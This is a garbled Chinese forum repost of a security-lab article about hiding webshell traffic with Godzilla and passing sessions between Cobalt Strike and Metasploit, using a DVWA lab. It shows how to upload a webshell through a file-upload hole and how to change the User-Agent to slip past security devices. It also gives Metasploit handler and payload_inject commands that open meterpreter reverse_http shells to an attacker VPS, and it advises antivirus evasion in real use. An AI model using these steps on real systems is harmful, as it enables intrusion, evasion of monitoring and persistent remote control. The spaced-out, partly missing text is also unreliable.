搜索

[27209] 2021-03-29_webshell流量隐蔽&CS和MSF联动

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-19
2021-03-29_webshell流量隐蔽&CS和MSF联动 w e b s h e l l 流 量 隐 蔽 & C S 和 M S F 联 动 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 3 - 2 9 收 录 于 话 题   # 内 网 安 全 小 组   , 2 8 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   内 网 安 全 知 识 内 网 安 全 知 识 星 球 星 球 本 文 作 者 ： B l a c k C a t （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） 内 网 纵 横 四 海 内 网 纵 横 四 海     认 准 认 准 M s 0 8 0 6 7 环 境 ： 环 境 ： 实 验 场 景 D V W A 靶 场 ， 通 过 靶 场 的 上 传 漏 洞 位 置 ， 上 传 w e b s h e l l 然 后 冰 蝎 或 者 其 他 w e b s h e l l 具 连 接 ： 冰 蝎 下 载 地 址 ： 我 这 的 上 阶 段 较 的 哥 斯 拉 ， 在 哥 斯 拉 安 装 之 前 ， 你 需 要 安 装 j d k 1 . 8 的 环 境 。 双 击 G o d z i l l a . j a r 打 开 ， 此 时 会 在 同 录 下 成 d a t a . d b 数 据 库 存 放 数 据 ， 同 时 它 持 流 量 加 密 和 修 改 特 征 ， 可 以 定 程 度 上 防 被 安 服 设 备 发 现 。 同 时 可 以 成 p a y l o a d ， 哥 斯 拉 下 载 地 址 ： 前 最 新 的 版 本 为 V 2 . 9 2 个 感 觉 唯 缺 点 就 是 有 点 丑 。 W i n d o w s :     1 9 2 . 1 6 8 . 9 3 . 3 V P S ： x . x . x . x 具 ： C o b a l t S t r i k e 4 . 1 、 M S F 、 哥 斯 拉 v 2 . 9 2 h t t p s : / / g i t h u b . c o m / r e b e y o n d / B e h i n d e r / r e l e a s e s / t a g / B e h i n d e r _ v 3 . 0 _ B e t a _ 6 h t t p s : / / g i t h u b . c o m / B e i c h e n D r e a m / G o d z i l l a / r e l e a s e s / t a g / v 2 . 9 2 - g o d z i l l a
既 然 说 了 可 以 隐 藏 特 征 ， 那 么 这 我 们 就 伪 造 下 特 征 ： 先 w i r e s h a r k 抓 包 看 下   未 作 修 改 的 数 据 包 是 什 么 样 ： 先 成 个 p a y l o a d ： 点 击 .     - -   管 理 管 理   - -   成 成
w e b s   h e l l 有 两 种 加 密 规 则 ， R a w   o r   B a s e 6 4   加 密 然 后 选 择 p a s s 是 连 接 密 码 ， p a y l o a d 类 型   ， 共 是 三 种 类 型 ， 这 我 的 w e b s h e l l 件 是 ： 1 . p h p 。 通 过 D V W A 靶 场 上 传 到 本 地 ， 然 后 链 接 s h e l l   , 参 数 定 要 和 我 们 创 建 的 样 。 然 后 我 们 测 试 连 接 ， 成 功 后 添 加 就 ， 进 到 操 作 模 式 ， 在 命 令 执 处 执 条 命 令 ： d i r ， 同 时 w i r e s h a r k 开 启 抓 包 R a w : R a w 是 将 加 密 后 的 数 据 直 接 发 送 或 者 输 出 B a s e 6 4 : B a s e 6 4 是 将 加 密 后 的 数 据 再 进 B a s e 6 4 编 码
然 后 就 是 查 看 包 内 容 ： 没 更 改 之 前 是 这 样 的
这 些 安 服 设 备 都 会 过 滤     U s e r - a g e n t （ 简 称 U A ） ， 所 以 我 们 这 要 根 据 对 的 络 环 境 去 修 改 ： 添 加 标 处 也 可 以 更 改 ， 再 次 抓 包 发 现 成 功   U A 成 功 修 改 了 。 此 w e b s h e l l 基 本 就 不 需 要 我 们 再 去 配 置 什 么 了 , 如 果 为 了 保 险 起 可 以 在 对 w e b s h e l l 进 定 的 隐 蔽 。 接 下 来 就 是 C S 、 M S F 上 线 。 这 他 有 带 的 反 弹 s h e l l 具   ； 先 尝 试 能 否 成 功 ， 打 开 我 们 的 V P S   机 的 M S F   按 照 他 的 配 置 进 配 置   ， 然 后   r u n   开 始 监 听 1 0 0 8 6 端 观 测   V P S 动 态 ， 发 现 成 功 反 弹 s h e l l 。 这   M S F 已 经 上 线 ， 我 们 现 在 要 让 C S   也 上 线 ，
这 发 现 个 问 题 ， 脚 本 s h e l l 的 权 限 很 不 稳 ， M S F 权 限 经 常 会 丢 失 ， 所 以 还 是 建 议 直 接 上 传 C S 或 者 通 过 其 他 式 上 线 C S 。 这 上 传 C S 式 ， 实 战 中 注 意 免 杀 。 通 过 w e b s h e l l 具 的 件 上 传 到 本 地 机 器 录 。 然 后 运 上 线 直 接 管 理 员 权 限 ， 都 省 着 我 提 权 了 ， 这 推 荐 个 提 权 C S 插 件 ： 尝 试 把 尝 试 把 C S 会 话 在 会 话 在 M S F 端 上 线 端 上 线 当 C o b a l t S t r i k e 获 得 了 个 上 线 机 器 ， 想 把 这 个 标 传 给 M e t a s p l o i t 中 的 m e t e r p r e t e r ， 获 得 个 s e s s i o n 进 控 制 。 在 M e t a s p l o i t 执 以 下 命 令 ： M S F ： C S : 先 有 个 已 经 建 会 话 的 s h e l l ， 然 后 添 加 监 听 器 L i s t e n e r ， H O S T 和 P O R T 填 写 m s f 监 听 的 地 址 I P : x . x . x . x , P O R T : 1 0 0 1 0 选 择 我 们 刚 才 建 的   l i s t e n e r   ， 然 后 等 待 M S F 端 ， 过 程 概 1 - 2 分 钟 M S F 会 话 反 弹 给 会 话 反 弹 给 C S : 1 、 、 先 把 先 把 m s f 上 获 取 到 的 上 获 取 到 的 m e t e r p r e t e r 挂 在 后 台 运 挂 在 后 台 运 C S   : 创 建 个 监 听 ， p a y l o a d 式 要 与 M S F 相 同 即 可 。 M S F ： 然 后 正 常 情 况 下   等 待 上 线 即 可 , 我 这 不 做 演 示 了 ， 因 为   V P S 卡 死 了 。 。 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ h t t p s : / / g i t h u b . c o m / t i m w h i t e z / C o b a l t - S t r i k e - A g g r e s s o r - S c r i p t s h t t p s : / / g i t h u b . c o m / z e r 0 y u / A w e s o m e - C o b a l t S t r i k e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   s e t   l h o s t   v p s ： I P s e t   l p o r t   1 0 0 1 0 e x p l o i t   - j   # - j   后 台 监 听   可 不 选 这 只 是 为 了 实 验 ， 所 以 就 这 个 C S 反 弹 来 的 s h e l l ， 实 际 中 请 结 合 具 体 内 情 况 。 C S 适 合 外 围 突 破 ， M S F 适 合 内 横 向 ， 当 然 也 看 个 喜 好 B a c k g r o u n d     # 就 是 返 回 的 意 思 u s e   e x p l o i t / w i n d o w s / l o c a l / p a y l o a d _ i n j e c t   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   s e t   d i s a b l e p a y l o a d h a n d l e r   t r u e # 默 认 情 况 下 ， p a y l o a d _ i n j e c t 执 之 后 会 在 本 地 产 个 新 的 h a n d l e r ， 由 于 我 们 已 经 有 了 个 ， 所 以 不 需 要 在 产 个 ， 所 以 这 我 们 设 置 为 t r u e s e t   l h o s t   x . x . x . x                                           # c o b a l t s t r i k e 监 听 的 i p s e t   l p o r t   1 0 0 0 1                                               # c o b a l t s t r i k e 监 听 的 端 s e t   s e s s i o n   1                                                   # 这 是 获 得 的 s e s s i o n 的 i d e x p l o i t
    目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理